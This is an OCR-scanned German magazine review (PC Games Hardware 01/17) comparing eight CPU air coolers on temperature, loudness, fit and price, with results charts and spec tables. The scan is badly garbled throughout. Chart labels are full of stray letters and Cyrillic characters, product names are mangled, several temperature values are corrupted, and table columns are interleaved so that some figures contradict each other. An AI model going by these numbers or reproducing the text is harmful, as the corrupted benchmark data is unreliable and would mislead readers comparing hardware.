erzielten Prozessor-Temperaturen 
auch gleichberechtigt die einher- 
gehende Lautheit in unsere Leis- 
tungsnote ein. Zusätzlich finden 
Sie in der Testtabelle den Schall- 
druck in dB(A). Im Gegensatz zur 
Lautheit (in Sone) berücksichtigt 
dieser nicht die unterschiedliche 
Empfindlichkeit des menschlichen 
Gehórs für verschiedene Geräusch- 
kulissen und geht somit nicht in 
die Benotung ein. Diese gángigere 
Angabe erleichtert aber móglicher- 
weise den Vergleich mit anderen 
bekannten Geräuschquellen. Be- 
achten Sie hierbei, dass PC Games 
Hardware zwecks eines feinfüh- 
ligen Ergebnisses alle Messungen 
in 50 cm Entfernung durchführt, 
während Hersteller typischerweise 
in 100 cm oder noch größeren Ent- 
fernungen messen, was die Angabe 
deutlich niedrigerer Werte für die 
die gleiche Lärmquelle ermöglicht. 


Thermalright Le Grand Macho RT: 
Riesiger Kühler, großartige Leistung. 
Thermalright hat die Macho-Serie 
ursprünglich als Budget-Variante 
des High-End-Modells HR-02 vor- 
gestellt. Letzterer wurde vor lan- 
ger Zeit vom HR-22 beerbt und 
jetzt bringt der vergrößerte Le 
Grand Macho einen Teil dessen 


Leistung Referenzlüfter: 92 mm ohne Reserven 


CPU-Temperatur; Core Damage, 100 Prozent Lüfterdrehzahl Referenzlüfter 


Enermax ETS-50 Axe 52,3 
Thermalright Le Grand Macho RT aaa 52,4 
Thermalright True Spirit 140 Direct aa 52,6 
Scythe Mugen 5 aaa 53,1 

Be Quiet Pure Rock wi 55,5 

Thermaltake Frio Silent 12 wl 56,3 

Noctua МН-095 a= 
Arctic Freezer i1 EX 79,0 


CPU-Temperatur; Core Damage, 75 Prozent Lüfterdrehzahl Referenzlüfter 


Thermalright True Spirit 140 Direct maaa 56,2 
Thermalright Le Grand Macho RT ШШЕ 56,3 
Scythe Mugen 5 EXER 56,4 
Enermax ETS-50 Axe [XU 56,5 
Be Quiet Pure Rock R li 58,5 
Thermaltake Frio Silent 12 EE 59,7 
Noctua NH-U9S ERU 73,3 
Arctic Freezer 111 Ew 6,0 
CPU-Temperatur; Core Damage, 50 Prozent Lüfterdrehzahl Referenzlüfter 
Scythe Mugen 5 EX 64,7 
Enermax ETS-50 Axe EX 65,5 
Thermalright True Spirit 140 Direct [XXX 65,8 
Thermalright Le Grand Macho RT ВВ 66,4 
Be Quiet Pure Rock wa 7,0 
Thermaltake Frio Silent 12 si 69,9 


Noctua NH-U9S 86,1 
Arctic Freezer i11 Mit 150-W-CPU nicht möglich 
System: Xeon E5-2687W (150 W TDP), GA-X79-UD7; Core Damage; EKL Permafrost; ec 
frontaler Lüfter 180 mm 330 U/min Bemerkungen: Lautheit 100 %/75 96/50 % Q Besser 
0,6/0,2/0,1 Sone (140 mm), 1,1/0,3/0,1 Sone (120 mm), 0,7/0,2/0,1 Sone (92 mm). 


È eebe 
Die Kontaktfläche des Freezer i11 ist so klein, dass der Heatspreader unserer Test- 
CPU größtenteils sichtbar bleibt. Die Wärmeverteilung leidet darunter nicht messbar. 


Aufgrund des Versatzes zwischen Kühlkörper und Bodenplatte ist die hintere Befesti- 
gungsschraube des Le Grand Macho nur schwer zu erreichen. 
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Lautheit: Enermax abgeschlagen 


Lüfterlautheit in 50 cm Entfernung, Serienlüfter 100 Prozent 


Thermalright True Spirit 140 Direct MEME 0,8 

Scythe Mugen 5 EEE 0,9 

Thermalright Le Grand Macho RT EEE 0,9 

Thermaltake Frio Silent 12 EEE 1,1 
Arctic Freezer 111 ERR 1,3 
Be Quiet Pure Rock G KES 1,5 
Noctua NH-U9S ww 
Enermax ETS-50 Axe wa 


Lüfterlautheit in 50 cm Entfernung, Serienlüfter 75 Prozent 


Thermalright True Spirit 140 Direct IE 0,2 
Thermalright Le Grand Macho RT E 0,3 
Scythe Mugen 5 В 0,3 
Thermaltake Frio Silent 12 IE 0,4 
Be Quiet Pure Rock EEE 0,5 
Arctic Freezer i11 EEE 0,5 
Noctua МН-095 E 0,8 
Enermax ETS-50 Axe [ERR 1,3 


Lüfterlautheit in 50 cm Entfernung, Serienlüfter 50 Prozent 


Be Quiet Pure Rock 90,1 
Thermalright Le Grand Macho RT 8 0,1 
Scythe Mugen 5 0,1 
Arctic Freezer i11 8 0,1 
Thermaltake Frio Silent 12 B 0,1 
Thermalright True Spirit 140 Direct B 0,1 
Noctua NH-U9S @ 0,1 

Enermax ETS-50 Axe EEE 0,4 


System: Kühler freistehend, Lüfterregelung mit Zalman ZM-MFC3; Messung frontal 
Bemerkungen: Thermalright und Scythe entsenden kompromisslose Silent-Kühler in den 
Test, Arctic, Be Quiet und Thermaltake sind nur unwesentlich lauter. 


Sone 


< Besser 


Kühlleistung Serienlüfter: Macho sehr stark 


CPU-Temperatur; Core Damage, 100 Prozent Lüfterdrehzahl Serienlüfter 


Enermax ETS-50 Axe wa 49,5 

Thermalright Le Grand Macho RT EXER 50,1 
Thermalright True Spirit 140 Direct Xu 50,8 

Scythe Mugen 5 XR 52,1 

Thermaltake Frio Silent 12 XXX 53,8 
Be Quiet Pure Rock wl 55,5 
Noctua МН-095 ERR 58,1 
Arctic Freezer 111 EEUU 724 


CPU-Temperatur; Core Damage, 75 Prozent Lüfterdrehzahl Serienlüfter 


Enermax ETS-50 Axe wali 52,4 
Thermalright Le Grand Macho RT ШШЕ 52,8 
Scythe Mugen 5 ШШЕ 53,6 
Thermalright True Spirit 140 Direct XXX 54,2 

Be Quiet Pure Rock EE 58,1 

Thermaltake Frio Silent 12 a 58,6 

Noctua МН-095 == 64,8 
Arctic Freezer 111 EE 78,8 


CPU-Temperatur; Core Damage, 50 Prozent Lüfterdrehzahl Serienlüfter 


Thermalright Le Grand Macho RT üm 59,1 
Scythe Mugen 5 aü 59,4 

Thermalright True Spirit 140 Direct XXX 60,7 

Enermax ETS-50 Axe wai 62,3 

Be Quiet Pure Rock u www 68,0 
Thermaltake Frio Silent 12 Xem 70,4 
Noctua NH-U9S 75,6 
Arctic Freezer 111 ua 


System: Xeon E5-2687W (150 W TDP), 3,4 GHz/1,068 V unter Last; Gigabyte X79-UD7; 
Win 7 x64 SP1; Core Damage; EKL Permafrost; offener Aufbau, Bemerkungen: Der 
große Lamellenabstand des Grand Macho macht sich bei niedrigen Drehzahlen bezahlt. 


°C 


< Besser 
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Kühlleistung in niedrigere Preis- 
klassen. Erneut hat Thermalright 
gegenüber dem Basismodell eine 
Heatpipe eingespart (7 statt 8) und 
verzichtet auf einen vollständigen 
Nickel-Überzug. Immerhin erhält 
der Le Grand Macho ein schwarz 
lackiertes Top-Cover und er ist als 
„RT“-Ausführung auch mit einem 
TY-147B-Lüfter erhältlich, während 
Thermalrights Spitzenmodelle tra- 
ditionell „nackt“ verkauft werden. 


Im Falle des Le Grand Macho RT 
besteht aber wenig Anlass, einen 
anderen Luftbeweger zu wählen, 
denn die Serienlösung schlägt sich 
ausgesprochen gut. Die beste Kühl- 
leistung innerhalb dieser Markt- 
übersicht war zu erwarten - der 
Le Grand Macho RT ist ungefähr 
doppelt so schwer und voluminös 
wie der Rest unseres bunten Test- 
felds im Durchschnitt. Aber auch 
mit Kühlern aus anderen Markt- 
übersichten kann sich der große 
Thermalright problemlos messen. 
Dank seiner sehr leisen Abstim- 
mung nimmt er zwar nicht an unse- 
rem 1,0-Sone-Direktvergleich teil, 
aber bereits bei seiner maximalen 
Lautheit von 0,9 Sone schlägt er 
alle 1,0-Sone-Messungen der letzten 
3 Jahre - einschließlich des großen 
140-mm-Doppelturmkühlers und 
Langzeit-Bestenlistenanführers 
Noctua NH-D15. Dank seines gro- 
ßen Lamellenabstandes verliert der 
Le Grand Macho auch nur wenig 
dieser guten Spitzenleistung, wenn 
man die Lüfterdrehzahl senkt. In 
vielen Fällen dürfte mit ihm sogar 
ein semi-aktiver Betrieb mit indi- 
rekter Belüftung durch Gehäuse- 
lüfter möglich sein. 


Schwächen offenbahrt der Le Grand 
Macho RT aber in der B-Note. So 
benötigt der riesige Kühler natür- 
lich viel Platz im Gehäuse, was auf 
einigen Mainboards zu Problemen 
mit der Grafikkarte führt. Thermal- 
right mildert das Problem zwar ein 
bisschen, indem die Lamellen ge- 
genüber der Bodenplatte um 5 mm 
in Richtung Mainboard-Oberkante 
versetzt werden, daraus resultiert 
aber ein neues Ärgernis für alle Nut- 
zer: Die mittige Öffnung in den La- 
mellen ist gegenüber der hinteren 
Halterungsschraube an der Boden- 
platte verschoben, sodass letztere 
trotz des beiliegenden, extra langen 
Schraubendrehers kaum erreicht 
werden kann. Ebenso umständlich 
sind die neuen Lüfterklammern von 
Thermalright, die jetzt, wie bei den 
meisten anderen Marken auch, von 
außen in den Kühlkörper einge- 
hängt werden. Die hierfür benötig- 
te Kraft ist aber so groß, dass eine 
Montage des Lüfters im Gehäuse un- 
möglich wird, und selbst im freien 
Testaufbau nimmt man gerne Werk- 
zeug zur Hilfe. Immerhin: Abfallen- 
de Lüfter, die mit dem alten System 
vereinzelt vorkamen, sind hier aus- 
geschlossen. 


Thermalright True Spirit 140 Direct: 
Geld gespart - aber keine Leistung. 
Der zweite Thermalright-Kühler 
im Test nutzt noch die alten, lo- 
ckeren Lüfterklammern, die dau- 
erhaft in den Kühlkörper gesteckt 
und dann vor den Lüfter geklappt 
werden. Auch der Aufbau des True 
Spirit 140 Direct ist klassisch sym- 
metrisch - was aufgrund der ähn- 
lich großen Breite auf sehr vielen 
Mainboards zu einer Blockade der 


Lüfter und Kühlleistung 
ordnen den Frio Silent 12 
klar der 12-cm-Klasse zu, 
sein Platzbedarf fällt aber 
deutlich geringer aus. 


www.pcgameshardware.de 


Luftkühler | PROZESSOREN 


obersten ATX-Slot-Position führt. 
Modernisiert, beziehungsweise 
komplett abgeschafft, wurde da- 
gegen die Bodenplatte, beim True 
Spirit 140 Direct haben CPU-Heat- 
spreader und Kühler-Heatpipes 
direkten Kontakt zueinander. Im 
Gegensatz zu allen anderen Her- 
stellern, die bei derartigen Kühlern 
die Unterseite der Heatpipes plan- 
schleifen, ergibt dieses Verfahren 
bei Thermalright eine Kontaktflä- 
che zwischen Kühler und Prozes- 
sor, die große Lücken aufweist, 
das Profil der Heatpipes ist in der 
Mitte sogar absichtlich leicht ange- 
hoben. Bereits der Macho Direct 
(siehe PCGH 04/2016) bewies, dass 
dieses ungewöhnliche Wärme-Auf- 
nahmekonzept in der Praxis kein 
Nachteil ist. Auch der True Spirit 
140 Direct liefert Temperaturen im 
vorderen Mittelfeld ab, obwohl er 
einen der leisesten Kühler im Test 
nutzt. Auch insgesamt gehört er 
zu den besseren 140-mm-Kühlern, 
die PCGH bislang vermessen hat, 
obwohl es Abzüge bei der Ausstat- 
tung gibt. Thermalright spart hier 
genauso wie am Material der Bo- 
denplatte - und gibt diesen Preis- 
vorteil an die Kunden weiter. 


Scythe Mugen 5: Auch in der fünften 
Generation eine Empfehlung wert. 
Formell eine Klasse unter Thermal- 
rights 140-mm-Monstern rangiert 
Scythes fünfte Ausgabe der sehr 
beliebten Mugen-Baureihe. Der 
Mugen 5 ist dabei das erste Famili- 
enmitglied seit dem Ur-Mugen, das 
auf einen ungeteilten Kühlkörper 
mit durchgehenden Lamellen setzt, 
sonst bleibt das Konzept unverän- 
dert. Im tiefen, aber weder beson- 
ders hohen, noch breiten 120-mm- 
Kühlkörper bringt Scythe ganze 
sechs U-förmige Heatpipes unter 
und kombiniert diese optimale 
Wärmeableitung und -verteilung 
mit einem leisen 120-mm-Lüfter. 
Das Ergebnis kann sich insbeson- 
dere bei halbierter Drehzahl sehen 
lassen, hier schlägt der Mugen 5 so- 
gar den True Spirit. Im Gegensatz 
zu diesem passt er aber auf quasi 
jedes (ATX-)Mainboard. Vergleicht 
man die Leistung mit anderen 
120-mm-Kühlern wie EKLs Brocken 
Eco und Cooler Masters Hyper 612 
V2, so erscheint auch Scythes un- 
verbindliche Preisempfehlung auf 
140-mm-Niveau gerechtfertigt, mit- 
telfristig dürfte der Preis aber noch 
auf Mugen-4-Niveau fallen. 
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Enermax ETS-50 Axe: Viel Licht, viel 
Schatten und einige kreative Ide- 
en. Ebenfalls mit 120-mm-Lüfter, 
optisch aber etwas größer, tritt 
Enermax‘ ETS-50 auf. Die Abmes- 
sungen rechtfertigen diesen Ein- 
druck nur bedingt, dank der tief- 
schwarzen Farbe und die an Cooler 
Master erinnernden, für beliebige 
120-mm-Lüfter geeigneten Lüfter- 
Halterahmen wirkt der ETS-50 Axe 
aber größer als er ist. Hinzu kommt 
ein Luftleitgitter, das serienmäßig 
anstelle eines hinteren Lüfters ins- 
talliert ist. Dieses lenkt die aus dem 
Kühler strömende Luft zur Seite ab 
und lässt sich um 360° drehen, so- 
dass der Luftstrom wahlweise zum 
Mainboard, zu Lüfteröffnungen im 
Deckel oder in eine beliebige ande- 
re Richtung geleitet werden kann. 
Der praktische Nutzen der Vorrich- 
tung dürfte dabei ebenso gering 
sein wie der Ablenkwinkel - der 
ETS-50 Axe bläst in jeder Ausrich- 
tung über typische Mainboardküh- 
ler hinweg und ein Großteil seiner 
Abluft landet wie gewohnt am hin- 
teren Gehäuselüfter. 


Enermax‘ zweite Besonderheit ist 


der „Dust-Free“-Lüfter, welcher 


nach dem Einschalten in um- 
gekehrter Richtung rotiert, um 
Staubansammlungen auf den Lüf- 
terblättern zu verhindern. Nach 10 
Sekunden nimmt der Lüfter den 
normalen Betrieb auf, automati- 
sche Lüftersteuerungen könnten 
zuvor irritiert werden. Auf einige 
Betrachter irritierend wirken auch 
die wechselnden Blinkeffekte des 
Lüfters, die sich vom Anwender 
nicht kontrollieren lassen. Dafür 
kann er die intensive Beleuchtung 
zwischen Grün, Blau, Rot, Weiß 
oder allen vier Farben gleichzeitig 
um- oder ganz abschalten 


Auch bei den Leistungseigenschaf- 
ten fällt der Enermax-Lüfter auf. 
ETS-50 
Axe die höchste maximale Kühl- 


Einerseits erreicht der 
leistung im Testfeld, andererseits 
ist er aber auch mit Abstand der 
lauteteste Kühler. Die Effizienz, 
also die für eine bestimmte Kühl- 
leistung benötigte Lautheit, ist 
dabei nur Durchschnitt, wie auch 
unsere 1,0-Sone-Messung zeigt. 
Mit einem Referenzlüfter verse- 
hen blüht der ETS-50 Axe dagegen 
förmlich auf und liefert eines der 
besten 100-Prozent-Ergebnisse für 


120-mm-Kühler ab. 


Leistung bei 1,0 Sone: Frio erstaunlich effektiv 


CPU-Temperatur; Core Damage, Serienlüfter bei 1,0 Sone 


Thermaltake Frio Silent 12 54,7 
Enermax ETS-50 Axe 55,3 
Be Quiet Pure Rock 56,2 
Noctua NH-U9S 62,6 
Arctic Freezer i11 71,6 


Thermalright True Spirit 140 Direct Maximal 0,9 Sone (50,1 °C) 
Thermalright Le Grand Macho RT Maximal 0,8 Sone (50,8 *C) 
Scythe Mugen 5 Maximal 0,9 Sone (52,1 °C) 


System: Xeon E5-2687W (150 W TDP); Gigabyte X79-UD7; Core Damage; EKL Alpenfóhn 
Permafrost; frontaler Lüfter 180 mm 330 U/min Bemerkungen: Drei Kühler sind zu leise 
für unsere 1,0-Sone-Messung — hätten diese dank ihrer Größe aber zweifelsfrei gewonnen. 


PC 
Besser 
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Enermax ist für intensiv beleuchtete Lüfter bekannt und nutzt diese auch auf dem 
ETS-50 Axe. Der Nutzer kann zwischen drei Farben und Weiß hin- und herschalten. 
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Thermalrights , Direct" Kühler weisen weder eine Bodenplatte noch plangeschliffene 
Heatpipes auf — kühlen aber trotzdem (oder gerade deswegen?) sehr gut. 
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Die dünnen und empfindlichen Lamellen des Pure Rock weisen ein nur über schmale 
Stege angebundenes Mittelstück auf, das kaum zur Kühlleistung beitragen dürfte. 


Ein drehbares Gitter in der hinteren Lüfterposition erlaubt beim ETS-50 Axe eine 
Ablenkung des Abluftstrahls in eine beliebige Richtung. 


Die Lüfterklammern des Le Grand Macho RT (rechts) werden im Gegensatz zum alten 
Thermalright-Design nicht dauerhaft am Kühlkörper befestigt und sitzen sehr straff. 


54 PC Games Hardware | 01/17 


Be Quiet Pure Rock: Ausgeglichenes 
Konzept mit angemessenem Preis. 
Weniger lohnenswert ist der Wech- 
sel auf den Referenz-Silent-Wings-2 
beim Be Quiet Pure Rock, denn die- 
ser bringt bereits einen Pure Wing 
2 aus gleichem Hause mit. Nur bei 
voller Drehzahl ist der Effizienz- 
Unterschied mit 0,4 Sone Abstand 
für eine identische Leistung deut- 
lich. Dies liegt mit Serienbelüftung 
auf gutem Durchschnittsniveau, 
ebenso angenehm fällt die Laut- 
heitswertung aus. Herausragende 
Features fehlen diesem ausgewo- 
genen Design aber, sieht man von 
dem sehr weiten Regelbereich ab. 
Umgekehrt leistet sich Be Quiet 
aber neben der knappen Ausstat- 
tung keinerlei Schwächen - und da 
sich letztere auch im Preis nieder- 
schlägt, ist der Pure Rock unsere 
Preis-Leistungs-Empfehlung. 


Thermaltake Frio Silent 12: Volle 
12-cm-Leistung im Miniaturformat. 
Für 38 Euro erhält der Käufer bei 
Thermaltake erstaunlich wenig 
Kühler - aber genau das ist das Be- 
sondere am Frio Silent 12: Mit Aus- 
nahme der (unproblematischen) 
Breite entsprechen seine Abmes- 
sungen eher der 92-/100-mm-Klas- 
se (zum Beispiel EKL Ben Nevis), 
Thermaltake bringt in dem knap- 
pen Volumen aber einen echten 
12-cm-Propeller und entsprechen- 
de Kühlleistung unter. Wer bereit 
ist, für eine kompakte Alternative 
120-mm-Mo- 
dellen ein paar Euro mehr zu be- 
zahlen, erhält hier beeindruckende 
Technik, die in der 1,0-Sone-Effekti- 
vitäts-Wertung sogar den beliebten, 
merklich größeren Brocken Eco 
abhängt. Dass man Thermaltakes 
proprietäres Lüfterformat nicht ge- 
gen andere Produkte austauschen 
kann, ist dabei kein Beinbruch - 
wie auch schon die großen Brüder 
Extreme Silent 14 Dual und Silent 
14 verliert der Frio Silent 12 mit 
unserem Referenzlüfter sogar an 


zu konventionellen 


Leistung, denn Thermaltakes Seri- 
enbelüftung ist optimal an die eng- 
stehenden Frio-Lamellen angepasst. 


Noctua NH-U9S: Klein, aber mit aus- 
reichenden Reserven für große CPUs. 
Als waschechter 92-mm-Miniatur- 
kühler fällt Noctuas Testteilnehmer 
noch kleiner aus - 126 mm Höhe 
sind flacher als die meisten Grafik- 
karten inklusive Stromstecker und 
die Grundfläche des NH-U9S ent- 


spricht den Umrissen einer Sockel- 
2011-v3-Kühlerhalterung. Trotz der 
kompakten Maße erbringt das Küh- 
lerchen selbst bei halbierter Dreh- 
zahl noch ausreichend Kühlleis- 
tung für unser Testsystem, erst mit 
dem sehr leisen und schwachen Re- 
ferenzlüfter müssen wir zusätzlich 
die Raumtemperatur absenken. Im 
Alltag ließen sich bei guter Gehäu- 
selüftung also selbst Enthusiast- 
Prozessoren problemlos mit dem 
NH-U9S kühlen, in Mittelklassesys- 
temen hat der Noctua-typisch sehr 
hochwertige und sehr weit regelba- 
re Lüfter sogar waschechtes Silent- 
potential. Leider werden für den 
Kraftzwerg ausgewachsene Preise 
verlangt, sodass sich die Investition 
nur bei echter Platznot lohnt. 


Arctic Freezer 111: Klein und güns- 
tig — aber nicht für große, teure 
CPUs. Geradezu billig erscheint 
Arctics Freezer ill. Die kompak- 
ten Abmessungen sind hier nicht 
nur ein Feature, sondern eine Fol- 
ge von Sparmaßnahmen, die dem 
Kühler leider auch sehr wenige, 
schlecht verteilte Heatpipes und 
eine minimalistische (aber ein- 
fach zu handhabende) Boden- und 
Halterungskonstruktion beschert. 
Gemessen am Preis und der ver- 
wendeten Technik ist es somit 
erstaunlich, dass der Freezer ill 
unseren 150-W-Boliden überhaupt 
gekühlt bekommt, ohne dabei 
unangenehm laut zu werden. Tat- 
sächlich ist sogar eine Drosselung 
auf 75 Prozent möglich, aber für 
die 50-Prozent-Messung mussten 
wir die Umgebungstemperatur auf 
15 °C senken. Mit dem noch leise- 
ren Referenzlüfter ist der Kühlkör- 
per endgültig Sockel-2011-untaug- 
lich. In den meisten Mini-PCs sollte 
das aufgrund deutlich sparsamerer 
CPUs egal sein, unschön ist aber 
je nach Lüftersteuerung der PWM- 
Regelbereich des Serienlüfters: An 
unser Zalman ZM-FC3 kommen wir 
nur analog unter 1600 U/min. (tv) 


Größe ist durch nichts zu ersetzen 
Die kompakten Kühler von Thermaltake 
und Noctua dürften für die Ansprüche 
der meisten Anwender ausreichen — 
normalgroße Modelle schaffen das 
gleiche aber zu niedrigeren Preisen. 
Und echte High-End-Leistung hat wei- 
terhin einen High-End-Platzbedarf. 
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CPU-KÜHLER 


Auszug aus Testtabelle 
mit 62 Wertungskriterien 


Produkt 


Hersteller 


Г m N 
Thermalright 
(е Grand Macho RT 


Нагйшаге 


Le Grand Macho RT 
Thermalright (www.thermalright.de) 


True Spirit 1 ct 
Thermalright (www.thermalright.de) 


gen 5 


Scythe (www.scythe-eu.com) 


ETS-50 Axe 


Enermax (www.enermax.de) 


Preis/Preis-Leistungs-Verhàltnis 
Link zum PCGH-Preisvergleich 
Ausstattung (20%) 

Enth. Lüfter/Anschluss/Entkopplung 


Ca. € 60,-/befriedigend 


Ca. € 38,-/gut 


Ca. € 48,-/gut 


Ca. € 55,-/befriedigend 


www.pcgh.de/preis/1442034 


1x 140 mm (abweich. Rahmenform)/4 pin/ja 


www.pcgh.de/preis/1529573 


1x 140 mm (abweich. Rahmenform)/4 pin/ja 


www.pcgh.de/preis/noch nicht gelistet 


1x 120 mm/4 pin/ja 


www.pcgh.de/preis/1491128 


1x 120 mm/4 pin/ja 


Montierbare Lüfter* 


2x 120 mm 


2x 120 mm 


2x 120 mm 


2x 120 mm 


Lüfterdrehzahl min. — max.(PWM) 


330 - 1.290 U/min 


270 — 1.230 U/min 


330 - 1.160 U/min 


820 – 1.840 U/min 


Ausführung Boden 


Kupferbodenplatte, vernickelt 


Heatpipe Direct Touch (HDT) 


Kupferbodenplatte, vernickelt 


Heatpipe Direct Touch (HDT) 


Wärmeleitmittel/Lüftersteuerung/Extras 


Eigenschaften (20%) 
Sockelunterstützung AMD 


Spritze Chill Factor Ill/keine/keine 


2,64 
AM2(+)/AM3(+)/FM1/FM2(+)/G34 


Tütchen Chill Factor/keine/hochwertiger 
Schraubendreher 


2,34 
AM2(+)/AM3(+)/FM1/FM2(+)/G34 


Spritze/keine/Schraubendreher 


1,95 
AM2(+)/AM3(+)/FM1/FM2(+)/G34 


Spritze/keine/Lüfter wahlweise rot, grün, blau, 
weiß, vierfarbig oder nicht beleuchtet; Luftleit- 
gitter auf Rückseite 

2,16 

AM2(+)/AM3(+)/FM1/FM2(+)/G34 


Sockelunterstützung Intel 


1150/1151/1155/1156/2011/2011-v3/1366/775 


1150/1151/1155/1156/2011/2011-v3/1366/775 


1150/1151/1155/1156/2011/2011-v3/1366/775 


1150/1151/1155/1156/2011/2011-v3/1366/775 


МаВе (B x H x T); Gewicht mit Lüfter(n) 


150 x 162 x 148 mm; 1.111 g 


152 x 165 x 71 mm; 658 g 


138 x 150 x 109 mm; 885 g 


139 x 161 x 112 mm; 910 g 


CPU-Temp., Standardlüft. (100/75/50 96) 


50,1/52,8/59,1 °C 


50,8/54,2/60,7 °C 


Montageaufwand (AMD/115X/2011) Mittel/mittel/mittel Mittel/mittel/mittel Gering/gering/gering Mittel/mittel/mittel 
Platinenausbau nötig (AMD/115X/2011) |Ja/ja/nein Ja/ja/nein Nein/ja/nein Ja/ja/nein 

Gedrehte Montage (AMD/115X/2011) |Nicht möglich/möglich/möglich Nicht möglich/möglich/möglich Nicht möglich/möglich/möglich Nicht möglich/möglich/möglich 
Leistung (60%) 2,03 2,06 2,81 2,59 


52,1/53,6/59,4 °C 


49,5/52,4/62,3 °C 


Lautheit Standardlüfter (100/75/50 %) 


0,9/0,3/0,1 Sone 


0,8/0,2/0,1 Sone 


0,9/0,3/0,1 Sone 


3,3/1,3/0,4 Sone 


Schalldruck Standardlüft. (100/75/50 %) 


29,7/21,5/16,6 dB(A) 


27,5/20,9/18,1 dB(A) 


28,6/21,9/17,2 dB(A) 


39,9/31,8/22,2 dB(A) 


CPU-Temp., Standardlüfter bei 1.0 Sone 


Nicht möglich (maximal 0,9 Sone) 


Nicht möglich (maximal 0,8 Sone) 


Nicht möglich (maximal 0,9 Sone) 


55,3 °C (1.190 U/min) 


CPU-Temp., Referenzlüft. (100/75/50 %) 


52,4/56,3/66,4 °C (1x 140 mm) 


52,6/56,2/65,8 °C (1x 140 mm) 


53,1/56,4/64,7 °C (1x 120 mm) 


52,3/56,5/65,5 °C (1x 120 mm) 


Lautheit Referenzlüfter (100/75/50 %) 


0,6/0,2/0,1 Sone (1x 140 mm) 


0,6/0,2/0,1 Sone (1x 140 mm) 


1,1/0,3/0,1 Sone (1x 120 mm) 


1,1/0,3/0,1 Sone (1x 120 mm) 


*Lüfter mit größentypischen Rahmen. Ggf. weitere Formate mit atypischen Rahmen möglich 


Schalldruck Referenzlüft. (100/75/50 %) 


FAZIT 


24,7/19,3/17,2 dB(A) (1x 140 mm) 


© Hohe Kühlleistung 
© Geringe Lautheit 
© Wenig Leistungsverlust bei Drosselung 


Wertung: 2,24. 


24,7/19,3/17,2 dB(A) (1x 140 mm) 


© Hohe Kühlleistung 
© Geringe Lautheit 
© Günstig 


Wertung: 2,25 


28,5/21,1/17,0 dB(A) (1x 120 mm) 


© Hohe Kühlleistung 
© Geringe Lautheit 
© Normaler Platzbedarf 


Wertung: 2,45 


28,5/21,1/17,0 dB(A) (1x 120 mm) 


© Hohe Kühlleistung 
© Beleuchtet 
© Laut 


Wertung: 2,51 


CPU-KÜHLER 


Auszug aus Testtabelle 
mit 62 Wertungskriterien 


Produkt 


Hersteller 


PREIS-LEISTUNGS-TIPP 


Quiet 
Pure Rock 


Hardware 


Pure Rock 
Be Quiet (www.bequiet.de) 


— e) 
TOP-TECHNIK 


Thermaltal 
Кю Sient 12 


Нагйшаге 


Frio Silent 12 
Thermaltake (www.thermaltake.com) 


NH-U9S 


Noctua (www.noctua.at) 


Freezer i11 
Arctic (www.arctic.ac) 


Preis/Preis-Leistungs-Verhältnis 
Link zum PCGH-Preisvergleich 
Ausstattung (20%) 

Enth. Lüfter/Anschluss/Entkopplung 


Ca. € 30,-/gut 


Ca. € 38,-/gut 


Ca. € 55,-/ausreichend 


Ca. € 19,-/gut 


www.pcgh.de/preis/1184606 


1x 120 mm/4 pin/nein 


www.pcgh.de/preis/1158734 


1x 120 mm (abweich. Rahmenf.)/4 pin/nein 


www.pcgh.de/preis/1196609 


1x 92 mm/A pin/ja 


www.pcgh.de/preis/1055677 


1x 92 mm/4 pin/ja 


Montierbare Lüfter* 


1x 120 mm 


1x 92 mm Lochabstand (zu groß für 92 mm 
Lüfter, zu klein für 120 mm) 


2x 92 mm 


— (Serienlüfter hat integrierte Halterung) 


Lüfterdrehzahl min. — max.(PWM) 


320 - 1.500 U/min 


480 — 1.350 U/min 


200 — 2.150 U/min 


570 - 1.990 U/min 


Ausführung Boden 


Kupferbodenplatte, vernickelt 


Heatpipe Direct Touch (HDT) 


Kupferbodenplatte, vernickelt 


Heatpipe Direct Touch (HDT) 


Wärmeleitmittel/Lüftersteuerung/Extras 


Eigenschaften (20%) 
Sockelunterstützung AMD 


Paste voraufgetragen/keine/keine 


2,01 
AM2(+)/AM3(+)/FM1/FM2(+)/G34 


Spritze/Spannungsadapter/keine 


2,17 
AM2(+)/AM3(+)/FM1/FM2(+)/G34 


Spritze NT-H1/Spannungsadapter/einfacher 
Schraubendreher 


2,02 
AM2(+)/AM3(+)/FM1/FM2(+)/G34 


Tütchen Arctic MX-4/keine/keine 


2,51 


Sockelunterstützung Intel 


1150/1151/1155/1156/2011/2011-v3/1366/775 


1150/1151/1155/1156/2011/2011-v3/1366/775 


1150/1151/1155/1156/2011/2011-v3 


1150/1151/1155/1156/2011/2011-v3 


Maße (B x H x T); Gewicht mit Lüfter(n) 


130 x 155 x 89 mm; 629 g 


128 x 141 x 67 mm; 328 g 


96 x 126 x 95 mm; 613 g 


110 x 130 x 84 mm; 275 g 


Montageaufwand (AMD/115X/2011) Minimal/mittel/gering Mittel/mittel/mittel Gering/gering/gering Mittel/mittel/mittel 
Platinenausbau nötig (AMD/115X/2011) | Nein/ja/nein Ja/ja/nein Nein/ja/nein Nein/ja/nein 

Gedrehte Montage (AMD/115X/2011) Nicht möglich/möglich/möglich Möglich/möglich/möglich Nicht möglich/möglich/möglich Nicht möglich/möglich/möglich 
Leistung (60%) 3,14 3,14 4,75 6,57 

CPU-Temp., Standardlüft. (100/75/50 %) | 55,5/58,1/68,0 °C 53,8/58,6/70,4 °C 58,1/64,8/75,6 °C 72,4/78,8/92,2 °C 


Lautheit Standardlüfter (100/75/50 %) 


1,5/0,5/0,1 Sone 


1,1/0,4/0,1 Sone 


2,5/0,8/0,1 Sone 


1,3/0,5/0,1 Sone 


Schalldruck Standardlüft. (100/75/50 %) 


33,7/24,2/16,5 dB(A) 


30,0/23,2/17,5 dB(A) 


37,3127,5/18,8 dB(A) 


31,8/24,9/17,4 dB(A) 


CPU-Temp., Standardlüfter bei 1.0 Sone 


56,2 *C (1.370 U/min) 


54,7 °C (1.310 U/min) 


62,6 °C (1.680 U/min) 


71,6 *C (1.780 U/min) 


CPU-Temp., Referenzlüft. (100/75/50 96) 


55,5/58,5/67,0 °C (1x 120 mm) 


56,3/59,7/69,9 °C (1x 120 mm) 


64,8/73,3/86,1 °C (1x 92 mm) 


79,0/86,0/nicht möglich °C (1x 92 mm) 


Lautheit Referenzlüfter (100/75/50 96) 


1,1/0,3/0,1 Sone (1x 120 mm) 


1,1/0,3/0,1 Sone (1x 120 mm) 


0,7/0,2/0,1 Sone (1x 92 mm) 


0,7/0,2/0,1 Sone (1x 92 mm) 


*Lüfter mit größentypischen Rahmen. Ggf. weitere Formate mit atypischen Rahmen möglich 


Schalldruck Referenzlüft. (100/75/50 %) 


FAZIT 


